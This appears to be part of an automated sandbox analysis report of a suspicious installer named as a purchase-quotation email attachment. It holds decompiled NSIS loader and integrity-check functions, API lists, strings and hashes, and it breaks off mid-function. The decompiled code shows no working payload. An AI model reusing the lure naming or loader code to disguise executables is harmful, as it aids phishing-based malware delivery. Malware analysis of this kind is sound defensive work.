0x0040677f
0x00406781
0x00406784
0x00000000
0x00406784
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00000000
0x004065d9
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b666163c1661dbd9b8a2e81cbf380ba9933516b4cb578f4d51b52d9bda143bb
Instruction ID: ffbedf2a53f09e030cb941e21afd419a8c3069ec791793070072d3341ca218b9
Opcode Fuzzy Hash: 9b666163c1661dbd9b8a2e81cbf380ba9933516b4cb578f4d51b52d9bda143bb
Instruction Fuzzy Hash: 17F16571D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405CFF, Relevance: 4.5, APIs: 3, Instructions: 20
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CFF(signed int _a4) {
				struct HINSTANCE__* _t5;
				CHAR* _t7;
				signed int _t9;

				_t9 = _a4 << 3;
				_t7 =  *(_t9 + 0x409200);
				_t5 = GetModuleHandleA(_t7);
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t9 + 0x409204));
				}
				_t5 = LoadLibraryA(_t7); // executed
				if(_t5 != 0) {
					goto L2;
				}
				return _t5;
			}

0x00405d07
0x00405d0a
0x00405d11
0x00405d19
0x00405d26
0x00000000
0x00405d2d
0x00405d1c
0x00405d24
0x00000000
0x00000000
0x00405d35

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 7acfb344228b968400b962badda7c36266698eee5c55508006b44164a923ef80
Instruction ID: d69b72dbe4010a9b48e4a262f362438d38f190b8a9031efe6831075815a54aa0
Opcode Fuzzy Hash: 7acfb344228b968400b962badda7c36266698eee5c55508006b44164a923ef80
Instruction Fuzzy Hash: 5DE08C32A04610BBD3215B20AE0896B73A8EED9B403004C7EF615F6251D734AC11DBBA

Uniqueness

Uniqueness Score: -1.00%

Function 00405CD8, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CD8(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x4224c8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x4224c8;
			}

0x00405ce3
0x00405cec
0x00000000
0x00405cf9
0x00405cef
0x00000000

APIs

FindFirstFileA.KERNELBASE(?,004224C8,00421880,004055F4,00421880,00421880,00000000,00421880,00421880,?,?,00000000,00405316,?,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000), ref: 00405CE3
FindClose.KERNEL32(00000000), ref: 00405CEF

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: eaa6d706d35b9193dbeff2470bba944fadabcf5bc74d52a04f68ed274a91c94e
Instruction ID: 9a18407f5d3c0b203e51d924b64f4f6f4a008a27543408caa796c3d3b713bef8
Opcode Fuzzy Hash: eaa6d706d35b9193dbeff2470bba944fadabcf5bc74d52a04f68ed274a91c94e
Instruction Fuzzy Hash: 91D0C93594D620ABD6012728AD0884B6A589B153317508B32F46AE22E0C7748C529AA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403526, Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00403526() {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t20;
				void* _t28;
				void* _t30;
				int _t31;
				void* _t34;
				struct HINSTANCE__* _t37;
				int _t38;
				int _t42;
				char _t62;
				CHAR* _t64;
				signed char _t68;
				CHAR* _t79;
				intOrPtr _t81;
				CHAR* _t86;

				_t81 =  *0x423e90;
				_t20 = E00405CFF(6);
				_t88 = _t20;
				if(_t20 == 0) {
					_t79 = 0x420478;
					"1033" = 0x7830;
					E004058C4(0x80000001, "Control Panel\\Desktop\\ResourceLocale", 0, 0x420478, 0);
					__eflags =  *0x420478;
					if(__eflags == 0) {
						E004058C4(0x80000003, ".DEFAULT\\Control Panel\\International",  &M00407302, 0x420478, 0);
					}
					lstrcatA("1033", _t79);
				} else {
					E0040593B("1033",  *_t20() & 0x0000ffff);
				}
				E004037EF(_t76, _t88);
				_t85 = "C:\\Users\\jones\\AppData\\Local\\Temp";
				 *0x423f00 =  *0x423e98 & 0x00000020;
				 *0x423f1c = 0x10000;
				if(E004055B1(_t88, "C:\\Users\\jones\\AppData\\Local\\Temp") != 0) {
					L16:
					if(E004055B1(_t96, _t85) == 0) {
						E004059FF(0, _t79, _t81, _t85,  *((intOrPtr*)(_t81 + 0x118)));
					}
					_t28 = LoadImageA( *0x423e80, 0x67, 1, 0, 0, 0x8040); // executed
					 *0x423668 = _t28;
					if( *((intOrPtr*)(_t81 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t30 = E004037EF(_t76, __eflags);
							__eflags =  *0x423f20;
							if( *0x423f20 != 0) {
								_t31 = E00404E4D(_t30, 0);
								__eflags = _t31;
								if(_t31 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42364c;
								if( *0x42364c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x420450, 5);
							_t37 = LoadLibraryA("RichEd20");
							__eflags = _t37;
							if(_t37 == 0) {
								LoadLibraryA("RichEd32");
							}
							_t86 = "RichEdit20A";
							_t38 = GetClassInfoA(0, _t86, 0x423620);
							__eflags = _t38;
							if(_t38 == 0) {
								GetClassInfoA(0, "RichEdit", 0x423620);
								 *0x423644 = _t86;
								RegisterClassA(0x423620);
							}
							_t42 = DialogBoxParamA( *0x423e80,  *0x423660 + 0x00000069 & 0x0000ffff, 0, E004038BC, 0);
							E00403476(E0040140B(5), 1);
							return _t42;
						}
						L22:
						_t34 = 2;
						return _t34;
					} else {
						_t76 =  *0x423e80;
						 *0x423634 = _t28;
						_v20 = 0x624e5f;
						 *0x423624 = E00401000;
						 *0x423630 =  *0x423e80;
						 *0x423644 =  &_v20;
						if(RegisterClassA(0x423620) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						_t12 =  &_v16; // 0x624e5f
						SystemParametersInfoA(0x30, 0, _t12, 0);
						 *0x420450 = CreateWindowExA(0x80,  &_v20, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x423e80, 0);
						goto L21;
					}
				} else {
					_t76 =  *(_t81 + 0x48);
					if(_t76 == 0) {
						goto L16;
					}
					_t79 = 0x422e20;
					E004058C4( *((intOrPtr*)(_t81 + 0x44)), _t76,  *((intOrPtr*)(_t81 + 0x4c)) +  *0x423eb8, 0x422e20, 0);
					_t62 =  *0x422e20; // 0x43
					if(_t62 == 0) {
						goto L16;
					}
					if(_t62 == 0x22) {
						_t79 = 0x422e21;
						 *((char*)(E004054FB(0x422e21, 0x22))) = 0;
					}
					_t64 = lstrlenA(_t79) + _t79 - 4;
					if(_t64 <= _t79 || lstrcmpiA(_t64, ?str?) != 0) {
						L15:
						E004059DD(_t85, E004054D0(_t79));
						goto L16;
					} else {
						_t68 = GetFileAttributesA(_t79);
						if(_t68 == 0xffffffff) {
							L14:
							E00405517(_t79);
							goto L15;
						}
						_t96 = _t68 & 0x00000010;
						if((_t68 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x0040352c
0x00403535
0x0040353c
0x0040353e
0x00403552
0x00403564
0x0040356e
0x00403573
0x00403579
0x0040358c
0x0040358c
0x00403597
0x00403540
0x0040354b
0x0040354b
0x0040359c
0x004035a6
0x004035af
0x004035b4
0x004035c5
0x0040364c
0x00403654
0x0040365d
0x0040365d
0x00403673
0x00403679
0x00403687
0x00403716
0x0040371e
0x00403728
0x0040372d
0x00403733
0x004037bd
0x004037c2
0x004037c4
0x004037e0
0x00000000
0x004037e0
0x004037c6
0x004037cc
0x004037d4
0x004037d4
0x00000000
0x004037cc
0x00403741
0x00403752
0x00403754
0x00403756
0x0040375d
0x0040375d
0x00403765
0x0040376d
0x0040376f
0x00403771
0x0040377a
0x0040377d
0x00403783
0x00403783
0x004037a2
0x004037b3
0x00000000
0x004037b8
0x00403720
0x00403722
0x00000000
0x0040368d
0x0040368d
0x00403693
0x0040369d
0x004036a5
0x004036af
0x004036b5
0x004036c3
0x004037e5
0x004037e5
0x00000000
0x004037e5
0x004036c9
0x004036d2
0x00403711
0x00000000
0x00403711
0x004035cb
0x004035cb
0x004035d0
0x00000000
0x00000000
0x004035da
0x004035ea
0x004035ef
0x004035f6
0x00000000
0x00000000
0x004035fa
0x004035fc
0x00403609
0x00403609
0x00403611
0x00403617
0x0040363f
0x00403647
0x00000000
0x00403629
0x0040362a
0x00403633
0x00403639
0x0040363a
0x00000000
0x0040363a
0x00403635
0x00403637
0x00000000
0x00000000
0x00000000
0x00403637
0x00403617

APIs

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

lstrcatA.KERNEL32(1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000,00000006,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ,00000000,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403597
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000,00000006,"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" ), ref: 0040360C
lstrcmpiA.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Temp,1033,00420478,80000001,Control Panel\Desktop\ResourceLocale,00000000,00420478,00000000), ref: 0040361F
GetFileAttributesA.KERNEL32(Call), ref: 0040362A
LoadImageA.USER32 ref: 00403673

Part of subcall function 0040593B: wsprintfA.USER32 ref: 00405948

RegisterClassA.USER32 ref: 004036BA
SystemParametersInfoA.USER32(00000030,00000000,_Nb,00000000), ref: 004036D2
CreateWindowExA.USER32 ref: 0040370B
ShowWindow.USER32(00000005,00000000), ref: 00403741
LoadLibraryA.KERNEL32(RichEd20), ref: 00403752
LoadLibraryA.KERNEL32(RichEd32), ref: 0040375D
GetClassInfoA.USER32 ref: 0040376D
GetClassInfoA.USER32 ref: 0040377A
RegisterClassA.USER32 ref: 00403783
DialogBoxParamA.USER32 ref: 004037A2

Strings

"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" , xrefs: 00403532
6B, xrefs: 00403682
Call, xrefs: 004035DA, 004035E2, 004035EF, 00403639, 0040363F
RichEdit, xrefs: 00403774
C:\Users\user\AppData\Local\Temp, xrefs: 004035A6, 004035AE, 00403646, 0040364C, 0040365C
1033, xrefs: 00403546, 00403592
.DEFAULT\Control Panel\International, xrefs: 00403582
Control Panel\Desktop\ResourceLocale, xrefs: 0040355A
RichEd32, xrefs: 00403758
RichEdit20A, xrefs: 00403765, 0040376B
RichEd20, xrefs: 0040374D
.exe, xrefs: 00403619
C:\Users\user\AppData\Local\Temp\, xrefs: 0040352A
_Nb, xrefs: 004036C9, 004036CE

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: 6B$"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" $.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 914957316-466157724
Opcode ID: ca5c191d662c2f1331136733af7cd9fb3c1208b0aa80a7c8f6e1579a7abb4d19
Instruction ID: 0f3f48bff709b167bb3a38cee6451da723a784a17f6d38f49bc0c0f1e25ee8dd
Opcode Fuzzy Hash: ca5c191d662c2f1331136733af7cd9fb3c1208b0aa80a7c8f6e1579a7abb4d19
Instruction Fuzzy Hash: 9261C5B1A04200BAD6206F659C45E3B3A6DE74474AF40453FF941B62E1D67D9E028B3E

Uniqueness

Uniqueness Score: -1.00%

Function 00402C22, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00402C22(void* __eflags, signed int _a4) {
				DWORD* _v8;
				DWORD* _v12;
				void* _v16;
				intOrPtr _v20;
				long _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				long _t43;
				long _t50;
				void* _t53;
				void* _t57;
				intOrPtr* _t59;
				long _t60;
				long _t70;
				void* _t71;
				signed int _t77;
				intOrPtr _t80;
				long _t82;
				void* _t85;
				signed int _t87;
				void* _t89;
				long _t90;
				long _t93;
				void* _t94;

				_t82 = 0;
				_v12 = 0;
				_v8 = 0;
				_t43 = GetTickCount();
				_t91 = "C:\\Users\\jones\\Desktop\\RE; KOC RFQ for Flangers - RFQ 22965431.exe";
				 *0x423e8c = _t43 + 0x3e8;
				GetModuleFileNameA(0, "C:\\Users\\jones\\Desktop\\RE; KOC RFQ for Flangers - RFQ 22965431.exe", 0x400);
				_t89 = E004056B4(_t91, 0x80000000, 3);
				_v16 = _t89;
				 *0x409014 = _t89;
				if(_t89 == 0xffffffff) {
					return "Error launching installer";
				}
				_t92 = "C:\\Users\\jones\\Desktop";
				E004059DD("C:\\Users\\jones\\Desktop", _t91);
				E004059DD(0x42b000, E00405517(_t92));
				_t50 = GetFileSize(_t89, 0);
				 *0x41f028 = _t50;
				_t93 = _t50;
				if(_t50 <= 0) {
					L24:
					E00402BBE(1);
					if( *0x423e94 == _t82) {
						goto L29;
					}
					if(_v8 == _t82) {
						L28:
						_t53 = GlobalAlloc(0x40, _v24); // executed
						_t94 = _t53;
						E00403080( *0x423e94 + 0x1c);
						_push(_v24);
						_push(_t94);
						_push(_t82);
						_push(0xffffffff); // executed
						_t57 = E00402E5B(); // executed
						if(_t57 == _v24) {
							 *0x423e90 = _t94;
							 *0x423e98 =  *_t94;
							if((_v44 & 0x00000001) != 0) {
								 *0x423e9c =  *0x423e9c + 1;
							}
							_t40 = _t94 + 0x44; // 0x44
							_t59 = _t40;
							_t85 = 8;
							do {
								_t59 = _t59 - 8;
								 *_t59 =  *_t59 + _t94;
								_t85 = _t85 - 1;
							} while (_t85 != 0);
							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
							 *(_t94 + 0x3c) = _t60;
							E00405675(0x423ea0, _t94 + 4, 0x40);
							return 0;
						}
						goto L29;
					}
					E00403080( *0x40b018);
					if(E0040304E( &_a4, 4) == 0 || _v12 != _a4) {
						goto L29;
					} else {
						goto L28;
					}
				} else {
					do {
						_t90 = _t93;
						asm("sbb eax, eax");
						_t70 = ( ~( *0x423e94) & 0x00007e00) + 0x200;
						if(_t93 >= _t70) {
							_t90 = _t70;
						}
						_t71 = E0040304E(0x417028, _t90); // executed
						if(_t71 == 0) {
							E00402BBE(1);
							L29:
							return "Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
						}
						if( *0x423e94 != 0) {
							if((_a4 & 0x00000002) == 0) {
								E00402BBE(0);
							}
							goto L20;
						}
						E00405675( &_v44, 0x417028, 0x1c);
						_t77 = _v44;
						if((_t77 & 0xfffffff0) == 0 && _v40 == 0xdeadbeef && _v28 == 0x74736e49 && _v32 == 0x74666f73 && _v36 == 0x6c6c754e) {
							_a4 = _a4 | _t77;
							_t87 =  *0x40b018; // 0x7e00
							 *0x423f20 =  *0x423f20 | _a4 & 0x00000002;
							_t80 = _v20;
							 *0x423e94 = _t87;
							if(_t80 > _t93) {
								goto L29;
							}
							if((_a4 & 0x00000008) != 0 || (_a4 & 0x00000004) == 0) {
								_v8 = _v8 + 1;
								_t24 = _t80 - 4; // 0x40915c
								_t93 = _t24;
								if(_t90 > _t93) {
									_t90 = _t93;
								}
								goto L20;
							} else {
								break;
							}
						}
						L20:
						if(_t93 <  *0x41f028) {
							_v12 = E00405D6B(_v12, 0x417028, _t90);
						}
						 *0x40b018 =  *0x40b018 + _t90;
						_t93 = _t93 - _t90;
					} while (_t93 > 0);
					_t82 = 0;
					goto L24;
				}
			}

0x00402c2a
0x00402c2d
0x00402c30
0x00402c33
0x00402c39
0x00402c4a
0x00402c4f
0x00402c62
0x00402c67
0x00402c6a
0x00402c70
0x00000000
0x00402c72
0x00402c7d
0x00402c83
0x00402c94
0x00402c9b
0x00402ca3
0x00402ca8
0x00402caa
0x00402d97
0x00402d99
0x00402da5
0x00000000
0x00000000
0x00402daa
0x00402dce
0x00402dd3
0x00402dd9
0x00402de4
0x00402de9
0x00402dec
0x00402ded
0x00402dee
0x00402df0
0x00402df8
0x00402e0f
0x00402e17
0x00402e1c
0x00402e1e
0x00402e1e
0x00402e26
0x00402e26
0x00402e29
0x00402e2a
0x00402e2a
0x00402e2d
0x00402e2f
0x00402e2f
0x00402e39
0x00402e3f
0x00402e4d
0x00000000
0x00402e52
0x00000000
0x00402df8
0x00402db2
0x00402dc4
0x00000000
0x00000000
0x00000000
0x00000000
0x00402cb0
0x00402cb5
0x00402cba
0x00402cbe
0x00402cc5
0x00402ccc
0x00402cce
0x00402cce
0x00402cd2
0x00402cd9
0x00402e03
0x00402dfa
0x00000000
0x00402dfa
0x00402ce6
0x00402d66
0x00402d6a
0x00402d6f
0x00000000
0x00402d66
0x00402cef
0x00402cf4
0x00402cfc
0x00402d22
0x00402d28
0x00402d31
0x00402d37
0x00402d3c
0x00402d42
0x00000000
0x00000000
0x00402d4c
0x00402d54
0x00402d57
0x00402d57
0x00402d5c
0x00402d5e
0x00402d5e
0x00000000
0x00000000
0x00000000
0x00000000
0x00402d4c
0x00402d70
0x00402d76
0x00402d82
0x00402d82
0x00402d85
0x00402d8b
0x00402d8d
0x00402d95
0x00000000
0x00402d95

APIs

GetTickCount.KERNEL32 ref: 00402C33
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe,00000400), ref: 00402C4F

Part of subcall function 004056B4: GetFileAttributesA.KERNELBASE(00000003,00402C62,C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe,80000000,00000003), ref: 004056B8
Part of subcall function 004056B4: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004056DA

GetFileSize.KERNEL32(00000000,00000000,0042B000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe,C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe,80000000,00000003), ref: 00402C9B

Strings

Null, xrefs: 00402D19
"C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" , xrefs: 00402C2C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402DFA
C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe, xrefs: 00402C39, 00402C48, 00402C5C, 00402C7C
Error launching installer, xrefs: 00402C72
Inst, xrefs: 00402D07
soft, xrefs: 00402D10
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C22
C:\Users\user\Desktop, xrefs: 00402C7D, 00402C82, 00402C88
(pA, xrefs: 00402CB0

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe" $(pA$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\RE; KOC RFQ for Flangers - RFQ 22965431.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 4283519449-1635670599
Opcode ID: ab55cb2fb14d04616f822991b63ec3f26e4c66ae60ff675e8b93a203c080f69e
Instruction ID: bb8333a86194dcf573844375b596ab0c7c07cd824b72df89bd2f0bbec4532e5a
Opcode Fuzzy Hash: ab55cb2fb14d04616f822991b63ec3f26e4c66ae60ff675e8b93a203c080f69e
Instruction Fuzzy Hash: 21511971A00214ABDB209F65DE89B9E7BB4EF04319F10403BF904B62D1D7BC9E458BAD

Uniqueness

Uniqueness Score: -1.00%

Function 10001D3B, Relevance: 21.5, APIs: 14, Instructions: 499
stringlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E10001D3B() {
				void* _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				CHAR* _v24;
				CHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				CHAR* _v44;
				intOrPtr _v48;
				void* _v52;
				CHAR* _t180;
				void* _t182;
				signed int _t183;
				void* _t186;
				void* _t188;
				CHAR* _t190;
				void* _t198;
				struct HINSTANCE__* _t199;
				_Unknown_base(*)()* _t200;
				_Unknown_base(*)()* _t202;
				struct HINSTANCE__* _t203;
				void* _t205;
				char* _t206;
				_Unknown_base(*)()* _t207;
				void* _t218;
				signed char _t219;
				void* _t224;
				struct HINSTANCE__* _t226;
				void* _t227;
				void* _t228;
				void* _t232;
				void* _t235;
				void* _t237;
				void* _t244;
				void* _t245;
				void* _t248;
				struct HINSTANCE__* _t253;
				CHAR* _t254;
				signed char _t257;
				void _t258;
				void* _t259;
				void* _t266;
				void* _t267;
				void* _t271;
				void* _t272;
				void* _t276;
				void* _t277;
				void* _t278;
				void* _t279;
				signed char _t282;
				signed int _t283;
				CHAR* _t284;
				CHAR* _t286;
				struct HINSTANCE__* _t288;
				void* _t290;
				void* _t291;

				_t253 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v12 = 0;
				_v40 = 0;
				_t291 = 0;
				_t180 = E10001541();
				_v24 = _t180;
				_v28 = _t180;
				_v44 = E10001541();
				_t182 = E10001561();
				_v52 = _t182;
				_v8 = _t182;
				while(1) {
					_t183 = _v32;
					_t283 = 3;
					_v48 = _t183;
					if(_t183 != _t253 && _t291 == _t253) {
						break;
					}
					_t282 =  *_v8;
					_t257 = _t282;
					_t186 = _t257 - _t253;
					if(_t186 == 0) {
						_t29 =  &_v32;
						 *_t29 = _v32 | 0xffffffff;
						__eflags =  *_t29;
						L13:
						_t188 = _v48 - _t253;
						if(_t188 == 0) {
							 *_v28 =  *_v28 & 0x00000000;
							__eflags = _t291 - _t253;
							if(_t291 == _t253) {
								_t224 = GlobalAlloc(0x40, 0x14a4); // executed
								_t291 = _t224;
								 *(_t291 + 0x810) = _t253;
								 *(_t291 + 0x814) = _t253;
							}
							_t258 = _v36;
							_t39 = _t291 + 8; // 0x8
							_t190 = _t39;
							_t40 = _t291 + 0x408; // 0x408
							_t284 = _t40;
							 *_t291 = _t258;
							 *_t190 =  *_t190 & 0x00000000;
							 *(_t291 + 0x808) = _t253;
